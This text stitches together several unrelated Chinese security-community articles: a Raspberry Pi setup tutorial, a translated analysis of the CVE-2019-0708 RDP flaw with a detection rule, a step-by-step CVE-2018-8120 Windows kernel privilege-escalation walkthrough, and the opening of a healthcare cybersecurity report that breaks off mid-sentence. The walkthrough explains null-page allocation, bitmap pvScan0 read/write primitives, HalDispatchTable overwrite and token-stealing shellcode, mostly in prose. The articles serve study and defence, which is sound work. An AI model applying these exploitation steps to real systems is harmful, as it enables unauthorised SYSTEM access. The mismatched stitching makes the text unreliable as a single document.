树莓派的34个使用（来源 ：[https://linuxtoy.org/archives/cool-ideas-for-raspberry-pi.html](https://linuxtoy.org/archives/cool-ideas-for-raspberry-pi.html)）
如果你手头有一个 Raspberry Pi（树莓派），你会拿它来做什么？或许以下 34 个如何使用 Raspberry Pi 的创意能够给你带来一些启发。
Web 服务器
家庭自动化
BitTorrent 服务器
Web Cam 服务器
天气预报站
BitCoin Wallet
QuadCopter
VoIP PBX
XMBC 多媒体中心
有声书籍播放器
Arduino Shields
NAS 服务器
Apple Time Machine 支持
Tor 中继
家用 VPN 服务器
GPS 跟踪器（带 3G 支持）
Advice Machine（无用但很酷）
模拟输入
超级电脑
Kindle 作为显示屏
PIC Programmer
PenTesting/Hacking
Android 系统
检查网络状态
Solar 数据记录器
把我发到太空
咖啡
制作一个酷坦克
电子相框
添加 WiFi
OpenSource Kiosk
Node JS
流量监视
超频
**在官网下载img镜像**
树莓派的官方网址是 <https://www.raspberrypi.org/>
树莓派既可以从0开始做系统玩起。也可以基于已有的系统玩。初学这个肯定是基于已有的系统玩。后续可以自己编译内核，调试内核，构建自己的rootfs。我也会介绍介绍基础的一些命令，也是边学边用。顺带讲一些linux自己了解的知识。如果有错误麻烦各位看官指出。为了方便学习树莓派以及linux,同时也方便和树莓派用一些东西沟通。我PC装的是乌班图（不要吐槽为什么不装debian）。我的是Ubuntu
14.04版本，之前装了16.x发现有些东西比如脚本或者python不兼容什么的，所以换回来了。不要装太新的版本。基于已有的系统玩，首先是为树莓派安装官方的系统。不用接触太多的硬件。通过SD卡刷入系统。
SD卡通过USB读卡器接入 PC。
树莓派镜像下载：<https://www.raspberrypi.org/downloads/>
有很多种已经编译好的IMG，正统的noobs和raspbian.下面是第三方的映像
我选择的是raspbian.这是亲儿子。系统 和 我的PC ubuntu一样，命令什么的都可以通用。Raspbian
也分为完整版本和轻量级(lite)的版本。
我选择完整版本，也就是第一个。压缩前挺小的。解压后映像文件4G多。我下载的版本是2016-03-18-raspbian-jessie的版本，下载完成后记得验证一下sha1，上图下面就带有sha1.
如果映像不对。烧到SD卡很可能起不来验证的是压缩前的文件,也就是下载下来的，不是解压后的。
验证的命令是
#sha1sum filename
**
**
**准备烧入系统**
先了解一下这个系统
前面的映像解压以后应该是一个img文件。这个img文件主要由两部分组成：
第一部分是boot分区，fat32格式。包含linux内核,设备树，命令行以及配置文件等。这个分区是windows下也可以识别修改的，我们对于树莓派的配置可以操作修改这些文件。
第二部分是 ext4格式的rootfs，也就是根文件系统。
双击这个img文件，ubuntu会帮你识别并且挂载起来
也可以通过fdisk命令查看
#fdisk -l 2016-03-18-raspbian-jessie.img
Disk 2016-03-18-raspbian-jessie.img: 4033 MB, 4033871872 bytes
255 heads, 63 sectors/track, 490 cylinders, total 7878656 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x8f1eafaf
Device Boot Start End Blocks Id System
2016-03-18-raspbian-jessie.img1 8192 131071 61440 c W95 FAT32 (LBA)
2016-03-18-raspbian-jessie.img2 131072 7878655 3873792 83 Linux
树莓派是开源开发板，但并不是完全开源的开发板，初始的启动部分，固化在ROM里面，不能修改，所以一般树莓派除非硬件损坏。否则是不会被你刷坏之类的。
有必要先了解一下树莓派的基本启动过程才能直到各种文件的基本作用：
CPU上电->初始启动ROM代码->挂载第一部分fat32 boot分区->加载bootcode.bin->调用start.elf
start.elf 读取config.txt初步初始化，比如根据config.txt里面的配置为GPU分配内存等，随后加载kernel.img
也就是linux内核，传入cmdline.txt内核命令参数启动内核。内核根据参数找到rootfs，启动整个系统。其中ROM
里面的代码以及start.elf 这些都不是开源的，在官网提供的firmware里面提供，这也是喜欢纯开源的朋友喷树莓派的地方。
了解了系统启动过程再回头来看第一部分里面的一些文件 ：
overlays是一些扩展设备的设备树文件。
dtb文件是不同版本树莓派板子的设备树。
Bootcode.bin 是启动start.elf的
Start.elf等 是树莓派用来加载内核以及基础初始化的。
Kernel.img是linux内核的映像（zImage+dtb引导文件。暂时没具体看。官方有工具从zImage制作kernel.img）
cmdline.txt 是linux内核启动的参数。
Config.txt是树莓派的配置文件。比如GPU分配多少内存。显示输出采用什么模式。如果配置不当。接入显示器后可能无法正常显示
不同的文件只是为了适应不同的板子，不是所有的文件都需要，比如我的树莓派B型就只需要
bcm2708-rpi-b.dtb
bootcode.bin
cmdline.txt
config.txt
kernel.img
start.elf
就可以启动了。
准备开始烧入系统了。SD卡插入读卡器接入PC ubuntu上，如何找到你的设备呢？
在没插入读卡器之前先使用 ls查看本机设备
# ls /dev/sd*
/dev/sda /dev/sda2 /dev/sdb /dev/sdb2 /dev/sdc1 /dev/sdc3 /dev/sdc5 /dev/sdc7
/dev/sda1 /dev/sda5 /dev/sdb1 /dev/sdc /dev/sdc2 /dev/sdc4 /dev/sdc6 /dev/sdc8
linux磁盘设备用sd[a-z][1-9] [a-z] 表示磁盘个数 [1-9]表示磁盘的分区个数
这里是/dev/sda /dev/sdb/dev/sdc 说明我有三块硬盘（为啥有三块？ 一块SSD 250G mini ssd
两块1T机械盘，一个硬盘位，一个光驱位 ）
接着插入sd卡。再次使用
ls /dev/sd*
/dev/sda /dev/sda5 /dev/sdb2 /dev/sdc2 /dev/sdc5 /dev/sdc8 /dev/sdd2
/dev/sda1 /dev/sdb /dev/sdc /dev/sdc3 /dev/sdc6 /dev/sdd
/dev/sda2 /dev/sdb1 /dev/sdc1 /dev/sdc4 /dev/sdc7 /dev/sdd1
发现多出来了 /dev/sdd。说明新插入的SD卡就是/dev/sdd。这一步很重要。确定SD卡对应的设备。后续别直接烧入到你其他盘了
接下来使用dd命令将img烧入设备
#sudo dd if=2016-03-18-raspbian-jessie.img of=/dev/sdd bs=65536
无尽的等待。。。。。。 dd是没有提示的。中途不要拔出设备。等待完毕就好了
if=input filename
of=output filename
bs表示一次读取或者写入的字节数。这里不是越高越快，我一般设置为64KB
最后的结果
5.7MB/S很慢了。我这个是拿普通的SD卡演示的。
windows上就简单了，使用win32diskimager 选择你的盘符和 img。点击write就行了，还能看到进度。这点比linux好。
如果一切正常。烧入完毕后。将SD卡接入树莓派的卡槽。为树莓派通上电源（一般的手机充电器就行），你的树莓派就可以启动了。
图：电源和SD卡
**检查状态**
目前我们并没有任何显示器能查看启动状况。唯一可以看的是树莓派的指示灯。
如果绿灯中途有不停地闪烁，表明在读取SD卡。应该就是OK了。我们这时候再接上网线，或者先接网线再接电源也可以。如果橙色的LNK灯亮了，表明有网络了。等两分钟，运行稳定的时候再查看，状态应该是
ACT灯偶尔闪烁，一般是不亮的。其他四个灯是常亮的。
效果不清楚 还是可以看出四个灯都亮了。此时ACT灯是灭的。我登录上路由器看看分配了IP没有。或者用nmap扫描一下
#nmap 192.168.1/24
按照你的局域网扫。我的是192.168.1.x
结果如图：
192.168.1.1是路由
192.168.1.4是我PC ubuntu
还有一个是 192.168.1.9 肯定就是树莓派了 。直接登陆路由查看ip是最方便的。我这边已经直接识别设备了
nmap可以查看到 默认开了22号ssh端口。我们登陆上去看看
默认用户名 pi
密码 raspberry
ssh 用户名@ip
#ssh [email protected]
提示信任这个链接。输入yes继续
输入密码raspberry (注意linux输入密码的时候是看不见有变化的。只管输入按回车确认就行)，OK登陆成功了。
配置静态ip，配置wifi、ip和其他登陆方式以及基本的串口连接在下一集哦。
****
****
**传送门**
* * *
[](http://bobao.360.cn/learning/detail/3051.html)
[****](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（二） 实用配置(vnc和串口) &GPIO操作点亮LED灯**
****](http://bobao.360.cn/learning/detail/3087.html)
[**【技术分享】初玩树莓派B（三） 控制蜂鸣器演奏乐曲**
****](http://bobao.360.cn/learning/detail/3093.html)
[**【技术分享】初玩树莓派B（四） 人体红外感应报警 &物联网温湿度监控**
****](http://bobao.360.cn/learning/detail/3096.html) | 社区文章 |
原文：[zerodayinitiative](https://www.zerodayinitiative.com/blog/2019/5/27/cve-2019-0708-a-comprehensive-analysis-of-a-remote-desktop-services-vulnerability?tdsourcetag=s_pctim_aiomsg
"zerodayinitiative")
在2019年5月的补丁周期中，Microsoft在其远程桌面服务（RDS）中发布了一个远程代码执行错误补丁。远程未经身份验证的攻击者可以通过将精心设计的RDP消息发送到目标服务器来利用此漏洞。成功利用可能会导致执行具有管理权限的任意代码。虽然我们对此漏洞的初步研究主要集中在缓解和保护上，但趋势科技安全研究团队的Pengsu
Cheng，Kamlapati Choubey和Saran
Neti致力于彻底分析漏洞。以下是趋势科技漏洞研究服务报告的摘录，内容涵盖CVE-2019-0708，并进行了一些最小的修改。
## 漏洞
Microsoft远程桌面服务（以前称为终端服务）允许用户远程打开交互式Windows会话。远程桌面服务提供与基于终端的环境类似的功能，其中多个终端（客户端）可以连接到单个主机（服务器）。远程用户可以登录到远程主机并访问主机上的数据，运行应用程序等。远程桌面连接默认使用远程桌面协议（RDP）通过端口3389
/ TCP与远程服务器通信。
RDP指定多个会议参与者如何查看和协作共享程序。该协议是ITU-T
T.128应用程序共享协议的Microsoft扩展。该协议利用T.120标准中较低层协议提供的其他服务，例如T.124通用会议控制（GCC），T.122多点通信服务（MCS）等。
RDP连接以连接序列消息开始，由远程桌面协议：基本连接和图形远程处理（MS-RDPBCGR）协议定义，如下所示：
每条消息的格式可以在[
[1](https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPBCGR/%5bMS-RDPBCGR%5d.pdf "1") ]中找到。该漏洞与“MCS Connect Initial and GCC
Create”请求有关。
收到“X.224连接确认”响应后，从客户端发送到服务器的“MCS Connect Initial and GCC Create”请求。“MCS
Connect Initial and GCC Create”请求包含与安全相关的信息，虚拟通道创建信息以及其他受支持的RDP客户端功能。“MCS
Connect Initial and GCC Create”请求的结构如下：
除tpktHeader字段外，所有多字节整数都是小端字节顺序。
•X.224层通常可以具有多种PDU类型并由任意长度组成，但“MCS Connect Initial and GCC
Create”数据包具有3字节x224结构。
•mcsCi结构是T.125 MULTIPOINT-COMMUNICATION-SERVICE连接初始PDU，使用ASN.1 DER进行编码。
•gccCrq结构是T.124 GCC(Generic Conference Control) ConnectData结构。
“Settings Data Block”是一个或多个“Settings Data Block”的串联，其中每个具有以下格式：
存在各种类型的“Settings Data
Block”，包括CS_CORE（0xC001），CS_SECURITY（0xC002），CS_NET（0xC003）等。
该tpktHeader字段具有下列结构：
tpktHeader中的所有多字节整数都是big-endian字节顺序。version必须为0x03，tpktLength指定整个数据包的长度。该漏洞与
“CS_NET”块也称为clientNetworkData）有关。
该clientNetworkData字段包含请求的虚拟频道列表。clientNetworkData字段的结构如下：
clientNetworkData的CS_NETHeader字段是0xC003，小端表示是\ x03 \ xc0。
channelCount字段指示请求的静态虚拟通道。
channelNamen（其中n是1,2，...，N）字段定义了通道的8字节空终止名称，channelOption_n字段指定了通道的属性。
RDP协议支持静态虚拟通道，旨在用作各种RDP组件和用户扩展的通信链路。
这些通道以其8字节通道名称而闻名，并包括标准的Microsoft假设通道，如“rdpdr”（重定向），“rdpsnd”（声音），“cliprdr”（剪贴板共享）等。用户可以使用
RDP API支持其他渠道。 除上述通道外，Microsoft默认创建两个通道：MS_T120（用于RDP本身）和CTXTW（用于Citrix ICA）。
客户不应通过网络创建这些渠道; 相反，当建立连接时，这些通道由Windows RDP系统在内部初始化。
使用termdd！IcaCreateChannel（）创建通道，它首先检查指定的命名通道是否存在，如果不是，则分配通道结构来创建通道。
指向通道结构的指针，这个指针我们称为ChannelControlStructure，它的结构存储在一个表中，这个表我们称为ChannelPointerTable。
所有RDP连接都以ChannelPointerTable开头，如下所示（前五个插槽不是用户控制的，因此不显示。而是将插槽号0作为第一个客户端可写通道）：
在上表中，每个槽都可以存储一个ChannelControlStructure指针，其中标记为Empty的存储空指针。
当RDP客户端通过在clientNetworkData中指定它们来连接和打开通道时，将创建相应的ChannelControlStructures，并将其指针存储在从Slot
0开始的ChannelPointerTable中。请注意，CTXTW始终存在于插槽7中，而MS_T120存在于插槽0x1F中。
Microsoft Windows RDP内核驱动程序termdd.sys中存在“UAF”漏洞。在接收到包含clientNetworkData的“MCS
Connect Initial and GCC
Create”分组时，创建其中指定的信道的ChannelControlStructures。如果指定了名为“MS_T120 \
x00”的通道（例如，在插槽10中），则termdd！IcaCreateChannel（）调用termdd！IcaFindChannelByName（）并返回由插槽0x1F中的MS_T120结构指向的ChannelControlStructure。该指针（与插槽0x1F中的指针相同）存储在函数termdd！IcaBindVirtualChannels（）中的用户指定插槽（在此示例中为插槽10）中。接下来，当使用MCS通道。加入请求打开通道时，MS_T120通道也会成功打开。如果攻击者随后将制作的数据发送到MS_T120频道，则termdd.sys会尝试通过发送错误消息并使用termdd！IcaCloseChannel（）关闭该频道来响应该消息，后者又调用termdd!IcaFreeChannel（），从而释放
MS_T120
ChannelControlStructure并清除ChannelPointerTable中用户控制的插槽（运行示例中的插槽10）中的指针。但是，插槽0x1F中的相同指针不会被清除。随后，当连接终止时，调用RDPWD！SignalBrokenConnection（），然后调用termdd！IcaChannelInputInternal（）并尝试使用Slot
0x1F处的指针写入释放的ChannelControlStructure。这导致了“UAF”状态。
远程未经身份验证的攻击者可以通过在打开MS_T120通道时与目标服务器建立RDP连接并向其发送精心设计的数据来利用此漏洞。
成功利用将导致攻击者能够使用管理（内核级）权限执行任意代码。
## 源代码演示
以下代码段取自termdd.sys版本6.1.7601.24056。 趋势科技添加的评论已经突出显示。
要检测利用此漏洞的攻击，检测设备必须监视和解析分配端口上的流量，默认情况下为3389 / TCP。
RDP连接以连接序列消息开始，由远程桌面协议：基本连接和图形远程处理（MS-RDPBCGR）协议定义，如下所示:
注意：
•此检测指南涉及消息“MCS Connect Initial和GCC Create”。
•RDP有两种类型的加密：自定义RDP加密，一种使用TLS。在前一种情况下，“MCS Connect Initial和GCC
Create”是纯文本，而在后一种情况下，“MCS Connect Initial和GCC Create”是RDP客户端在TLS建立后发送的第一个数据包。
•在交换第一个请求和响应之后，可以使用TLS加密流量。确定这一点的最简单方法是检查到服务器的第二个传入数据包是否以“\ x16 \
x03”（TLS记录类型和TLS客户端Hello的高版本号）开头。
检测设备必须能够检查和分析RDP服务器与RDP客户端之间的RDP通信。如果RDP通信使用TLS，则检测设备必须在继续执行后续步骤之前解密流量。
检测设备必须查找传入的“MCS Connect Initial and GCC Create”请求。“MCS Connect Initial and GCC
Create”请求的结构如下：
除tpktHeader字段外，所有多字节整数都是小端字节顺序。
•X.224层通常可以具有多种PDU类型并由任意长度组成，但“MCS Connect Initial和GCC Create”数据包具有3字节x224结构。
• mcsCi结构是T.125 MULTIPOINT-COMMUNICATION-SERVICE连接初始PDU，使用ASN.1 DER进行编码。
•gccCCrq结构是T.124通用会议控制ConnectData结构.
“Settings Data Block”是一个或多个“Settings Data Block”的串联，每个该块具有以下格式:
存在各种类型的“Settings Data
Block”，包括CS_CORE（0xC001），CS_SECURITY（0xC002），CS_NET（0xC003）等。
如果找到“MCS Connect Initial and GCC Create”请求，则检测设备必须检查每个“Settings Data
Block”并查找类型为CS_NET（0xC003）的设置。这样的“Settings Data
Block”称为clientNetworkData，具有以下结构：
如果找到clientNetworkData，则检测设备必须遍历每个channelName_n（其中n是1,2 ..，N）并检查任何channelName
n字段的值是否包含不区分大小写的字符串“MS_T120”。如果找到这样的频道，则应将流量视为恶意; 利用此漏洞的攻击正在进行中
## 触发漏洞
在将调试程序附加到目标系统时触发漏洞时，会发生以下错误检查：
## 结论
当Microsoft为其支持的操作系统修补此漏洞时，他们决定还为现在不支持的Windows XP和Windows Server
2003系统发布补丁。这表明他们认为这个漏洞有多严重。还有一些关于检测到主动攻击的讨论，但毫无疑问这个漏洞的可利用性。此错误明显获得其关键评级，受影响的系统应尽快修补。对于那些仍然在Windows
XP或Server
2003上的人来说，这是另一个提醒，要求制定升级计划。微软可能已经发布了针对此漏洞的补丁，但是每次发布时，他们为这些现在古老的系统发布未来补丁的可能性会降低。
请注意，Microsoft补丁IcaBindVirtualChannels（）和IcaReBindVirtualChannels（）修复了termdd.sys中的两个易受攻击的函数。这两个函数暴露了两个不同但相似的攻击向量。我们的分析侧重于IcaBindVirtualChannels（）公开的攻击媒介。
特别感谢趋势科技安全研究团队的Richard Chen，Pengsu Cheng，Kamlapati Choubey和Saran
Neti对此漏洞提供了如此全面的分析。我们当然希望将来可以看到更多的漏洞分析。
## 参考文献：
[1] [MS-RDPBCGR]:Remote Desktop Protocol: Basic Connectivity and Graphics
Remoting,
<https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPBCGR/[MS-RDPBCGR].pdf>
[2] Network-specific data protocol stacks for multimedia conferencing, ITU-T
Recommendation T.123,
[https://www.itu.int/rec/dologin_pub.asp?lang=e&id=T-REC-T.123-200701-I!!PDF-E&type=items](https://www.itu.int/rec/dologin_pub.asp?lang=e&id=T-REC-T.123-200701-I!!PDF-E&type=items)
[3] Client Network Data (TS_UD_CS_NET), Microsoft,
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/49f99e00-caf1-4786-b43c-d425de29a03f>
[4] T.125, Multipoint communication service protocol specification, ITU,
<https://www.itu.int/rec/T-REC-T.125>
[5] T.124, Generic Conference Control, ITU,
<https://www.itu.int/rec/T-REC-T.124> | 社区文章 |
#### 介绍
CVE-2018-8120漏洞是Windows 7 及 Windows Server 2008系列中的一个经典的提权漏洞，这篇文章中我们将一步步分析漏洞成因，并构造利用POC。
#### 复现环境
Win7 x86虚拟机（Vmware）
#### 漏洞点
该漏洞存在于SetImeInfoEx函数中；在一处访问内核对象的数据时，没有判断是否合法即进行访问。
#### 回溯分析
交叉引用查找发现，只有在系统调用函数NtUserSetImeInfoEx中调用该函数
查看这部分代码，可以知道SetImeInfoE函数的第一个参数来源是GetProcessWindowsStation
想要搞清楚pWinStation的结构，需要找到GetProcessWindowStation函数原型，在MSDN上对该函数的定义如下：
HWINSTA GetProcessWindowStation();
If the function succeeds, the return value is a handle to the window station.
这样，我们就知道了pWinStation是Window
Station的Handle。在Windows中Handle实际也就是内核的对象引用，这里是WindowsStation对象。在Windbg中查看得到该对象的信息
对比漏洞触发时引用的位置v3[5]实际是WindowStation结构偏移0x14的数据对象即spklList；而spklList默认为NULL！
另外在查询该API时，同是也能查到关于Window Station其余的API信息，其中关系最紧密的就是
//CreateWindowStation创建一个Window Staion
HWINSTA CreateWindowStationA(
LPCSTR lpwinsta,
DWORD dwFlags,
ACCESS_MASK dwDesiredAccess,
LPSECURITY_ATTRIBUTES lpsa
);
//SetProcessWindowStation 为当前进程设置Window Station
BOOL SetProcessWindowStation(
HWINSTA hWinSta
);
#### 验证POC
根据上面的漏洞点、溯源成因分析。我们可以用相关的API接口构造一个简单的POC。
其中NtUserSetImeInfoEX函数属于系统调用，没有直接的导出函数可以调用，所以需要根据调用号自定义实现。
该函数的定义在Win7上没有找到（在Win10后win32k.sys的系统调用可以在win32u.dll中找到）但是有公开的[文档](https://github.com/j00ru/windows-syscalls/blob/master/x86/json/win32k-per-syscall.json)
在这里可以找到Windows系统调用在各个版本号上的系统调用号。
还可以在ntdll.dll中找到系统调用如何自定义实现
（其中mov eax, 0x….是系统调用号）
据此我们可以实现自定义的NtUserSetImeInfoEx函数
接下来我们需要编译并在目标Windows7上运行。
运行之后windbg收到异常，断下状态如下
继续运行，目标系统蓝屏
#### 深入分析可利用性
根据上述内容，我们知道SetImeInfoEx函数的第一个参数是pWinStation，第二个参数实际就是NtUserSetImeInfoEx的参数(char*)的前0x15c的内容。也即都是可控的。
而我们发现在SetImeInfoEx中，最终将执行qmemcpy操作，而且目的地址、源地址在某种程度都是可控的。只要在访问NULL时不会触发异常即可！
这一部分代码还可以从Windows泄漏的部分源码中查到，可以辅助分析。[win2000源码](https://github.com/pustladi/Windows-2000)
#### 探索Windows 7 内核分配NULL空间地址
在用户层应用程序中，NULL引用可能是无法导致代码执行的。但是在内核态，NULL引用却有意向不到的效果（Win7上）
这里不得不提Windows的一个未公开API（在ntdll.dll中）
NTSTATUS NtAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
该函数可以在指定进程内分配一块指定大小的空间；同时第二个参数BaseAddress可以指定为优先选择的分配的空间（当该处有足够的大小空闲时，就直接分配该地址【页对齐】）。这就意味着，我们有机会分配一块包含NULL的地址，并向其中写入构造的数据。
如下利用NtAllocateVirtualMemory分配包含NULL的地址空间
在windbg调试器中查看效果
#### 任意地址写
通过上述 分析过程，我们发现可以在NULL分配空间，填充合适的结构，最终利用qmemcpy实现任意地址写。
构造如下的数据，用于最终执行到qmemcpy
最终调试到qmemcpy处状态，可以造成任意地址写
这里发现虽然可以任意地址写，但是注意到目的地址(edi)偏移0x18的位置需要为0。
#### 从有限制的任意地址写到提权的思路
到目前我们拥有了任意地址写的能力（内核或用户态），我们需要把写的能力转为权限的提升。在Windows上，所有的权限控制都有一个存在Kernel中的Token对象来控制。每个登入系统的用户会生成一个User
Token，所有启动的进程会继承用户的Token，子进程继承父进程Token。更多详细的介绍建议查阅MSDN文档。
下面我们在Windbg里查看下不同进程的Token
Lsass.exe进程（SYSTEM权限）
在看一下cmd.exe的Token（普通用户）
可以看到Token在_EPROCESS结构偏移0xf8的位置，且最终向下8byte对齐。
我们用lsass.exe的Token复写cmd.exe 的Token，看下情况会如何
不出意外的cmd.exe将拥有SYSTEM的权限！
根据这种思路，我们可以利用任意地址写漏洞修改当前进程Token。但是需要直到SYSTEM的Token，但是普通用户没有SYSTEM进程的访问权限。
另一种关于任意地址写漏洞（www）的利用方式中，在Windows上用的最为经典的就是Bitmap的滥用，也称“PvScan0 Technique”
，该方法可以将任意地址写扩展到任意地址读以泄漏信息。
#### 什么是Bitmap
这里建议查阅Window MSDN官方文档（与Windows 绘图相关），与之相关的API重点有
// 创建Bitmap
HBITMAP CreateBitmap(
int nWidth,
int nHeight,
UINT nPlanes,
UINT nBitCount,
const VOID *lpBits
);
// 将bitmap bits拷贝到指定缓冲区
LONG GetBitmapBits(
HBITMAP hbit,
LONG cb,
LPVOID lpvBits
);
// 设置bitmap的bits
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);
CreateBitMap创建的结构SURFACE OBJECT
头部是一个BASEOBJECT结构（Windows
未公开，但是Reactos有文档[BASEOBJECT](https://reactos.org/wiki/Techwiki:Win32k/BASEOBJECT)
接下来是_SRFOBJ MSDN的定义如下：
这其中的pvScan0指向bitmap的Pixel Data数据区，也即是GetBitmapBits和SetBitsMaps直接操作的数据区。
我们在windbg中观察下这里有什么特别之处：
在进程PEB中有一个结构GdiSharedHandleTable保存着GDICELL结构数组（该结构并没有公开）
其中的pKernelAddress指向SURFACEOBJECT结构（BASEOBJECT首字节）
这几个结构体之间的关联，下面这幅图可以阐述：
在windbg中查看（标出了pKernelAddress和wType）
通过上面的结构我们可以获知
PEB.GdiSharedHandleObejct = 0x00300000
Gdiaddr = 0x003000a0
BASEOBJECT中的hMgr = 0x0104000a（CreateBitMap返回值）
这三者之间的关系：
gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)
其中PEB.GdiSharedHandleObject的地址用户层可以得到，hMgr是CreateBitMap返回的Handle，也就是我们可以计算得到GdiCell的位置，进而可以得到pKernelAddress。
尽管我们在用户态无法访问SURFOBJ的成员，但是由关系图2- 知道pvScan0和pKernelAddress之间的Offset是固定的：
pvScan0_Offset = pKernelAddress + 0x10 + 0x1c
这样，我们就可以根据CreateBitMap返回值得到pvScan0的地址。
pvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C；
下面的代码可以用来测试该推理：
Windbg调试过程如下
到这里我们已经有了一个内核态的地址pvScan0，pvScan0处的Value就是用户可以直接读写的Pixel
Data；通过GetBitmapBits和SetBitMaps，我们可以对该地址读写操作。
结合任意地址写漏洞，我们修改pvScan0，就可以真正达到准确的任意地址写！
#### BitMap利用流程
在上一环节，我们可以在用户层获取内核地址的读写（通过pvScan0），这里详细介绍如何结合BitMap利用任意地址写漏洞
（1） 创建2个bitmaps（Manager/Worker）
（2） 使用CreateBitMap返回的handle获取pvScan0的地址
（3） 使用任意地址写漏洞将Worker的pvScan0地址写入Manager的PvScan0（作为Value）
（4） 对Manager使用SetBitmapBits ，也就是改写Woker的pvScan0的Value为读/写的任意地址。
（5） 对Worker使用GetBitmapBits/SetBitmapBits，以对第四步设置的地址任意读写！
下面的图示可以很好的表示上述攻击主要流程3、4：
代码实现Attack 3（只需要修改之前 2.5.4 任意地址写的POC）
Windbg调试，修改前Manager pvScan0
顺利执行到任意地址写漏洞（v4+0x18为0 的限制，pvScan0是满足的）
修改之后的mgr_pvScan0
Attack4 就是执行SetBitMapBits修改manager的PvScan值指向的内容（也就是Worker的PvScan0的值），写入目的地址。
例如下面的代码使得Worker的PvScan0指向0xdeadbeef
Windbg调试，修改前Worker PvScan0
修改后
此时Worker的pvScan0值已经指向了我们的目标地址，通过SetBitMapBits即可写入任意内容。
#### 代码执行
当有任意地址写的能力的时候，最好的代码执行思路就是重写一个函数指针指向Shellcode，在shellcode中实现Token的重写！而Windows也确实有类似的指针（一个函数分发表），在hal模块下（该模块是Windows系统启动时加载的第一个模块）有很多这样的函数指针，我们取其中一个测试下
上图中显示了函数分发表中的函数，在偏移0x4的位置hal!HaliQuerySystemInformation是Windows API
NtQueryIntervalProfile运行时调用的函数，如果重写这个地址，就可以调用触发执行Shellcode。
这里的HalDispatchTable的地址我们可以直接由ntoskrnl.exe模块中查询得到，但是由于ALSR的存在，得到的地址并不是真实的地址，我们只用这个计算得到偏移，之后再使用。某些系统需要加上一个Detect
Offset，调试时自行修改。
获取HalDispatchTable地址
之后可以在2.5.6的基础上修改HalDispatchTable中的函数指针
修改之后的HalDispatchTable
可以发现HalDispatchTable偏移+0x4的函数指针已经被修改为Shellcode地址。
#### 提权Shellcode
对于Windows内核的漏洞，一般思路就是达到提权的目的。提权，就和权限相关，建议阅读Windows有关权限控制的官方文档。
提权Shellcode
本质也是一段Shellcode，不过和一般的Shellcode实现的功能不同，一般的Shellcode在于返回一个执行命令的Shell。而提权Shellcode致力于修改当前进程的Token，使其权限更高，甚至于SYSTEM权限！
这里给大家展示下Windbg遍历系统进程Token的过程
首先，在Windows内核中，fs寄存器指向nt!_KPCR结构
上图中，通过fs指向的KPCR结构找到偏移0x120处的KPRCB结构，在KPRCB偏移0x4的位置是CurrentThread的KTHREAD结构。
上述图展示了由KTHREAD获取PID、Token、FLINK的方法，在Win7 32上得到的偏移如下
网上有公开的Windows提权Shellcode，我这里只是对Shellcode的一个分析，可以尝试自己动手实现。
将提权Shellcode在修改HalDispatchTable的基础上，即可以提权！为了显示提权成功，可以在触发提权后，启动测试程序的cmd拥有了SYSTEM权限。
提权的触发路径
提权成功
#### 参考链接
* [MSDN-Bitmap](https://docs.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmap)
* [Bitmap详解](https://bbs.pediy.com/thread-225436.htm)
* [Steal-Token-Shellcode](https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-1) | 社区文章 |
# 2019健康医疗行业网络安全观测报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
坚持以习近平新时代中国特色社会主义思想为指导,全 面贯彻党的十九大会议精神,为支撑健康医疗大数据服务的 安全管理,促进“互联网+医疗健康”安全发展,充分发挥
健康医疗大数据作为国家重要基础性战略资源的作用,根据 《中华人民共和国网络安全法》《全国人民代表大会常务委
员会关于加强网络信息保护的决定》等法律法规和《健康中 国行动(2019—2030 年)》《国务院促进大数据发展行动
纲要》《国务院办公厅关于促进和规范健康医疗大数据应用 发展的指导意见》《国家健康医疗大数据标准、安全和服务
管理办法(试行)》等文件精神,中国信息通信研究院(以下简称:中国信通院)在有关领导部门的指导下,联合腾讯
科技(深圳)有限公司(以下简称:腾讯)、卫生信息安全 与新技术应用专业委员会(以下简称:专委会)和中国医院
协会信息管理专业委员会(以下简称:CHIMA)等相关单位、 组织,依托“产业互联网安全实验室”的平台能力,梳理健
康医疗行业的观测结果,探究健康医疗行业的网络安全问题, 总结形成本观测报告。
本次观测行动通过公共互联网发起,共涉及全国 31 个 省市地区健康医疗行业的 15339 家相关单位。经过持续数月
的观测,本报告研究团队综合运用大数据、人工智能、威胁 实时感知等技术和能力,全方位、多维度地梳理了健康医疗
行业的网络安全现状,并采用风险量化的方法对本次观测的结果进行评估。评估发现,健康医疗行业总体处于“较大风险”的安全风险级别,网络安全风险的集中表现,一是僵木
蠕等问题严峻,勒索病毒威胁严重,二是数据泄露事件高发, 应用服务存在隐患,三是网站篡改手法多变,隐式植入非法
信息。分析其主要原因,一是端口存在高危漏洞,易被僵木 蠕等恶意程序利用,二是大量敏感服务暴露,弱口令成主要
安全隐患,三是应用组件版本较低,网站篡改概率较高。
本报告旨在通过公共互联网的安全观测,针对健康医疗行业的互联网暴露面问题进行技术研究与分析,以威胁信息共享与安全情报挖掘为基础,通过各单位的协同联动,促进健康医疗行业的网络安全防御体系建设,支撑保障互联网医疗的安全发展。
## 1\. 健康医疗行业网络安全背景
### 1.1 健康医疗的政策背景
自十八大以来,党中央、国务院高度重视健康医疗大数 据的创新发展,习近平总书记指出,要运用大数据促进保障
和改善民生,推进“互联网+医疗”。李克强总理强调,发展 和应用好健康医疗大数据,是一项重大民生工程。近年来,
